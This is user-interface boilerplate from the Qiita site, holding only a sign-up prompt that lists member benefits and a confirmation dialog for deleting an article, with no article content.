3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?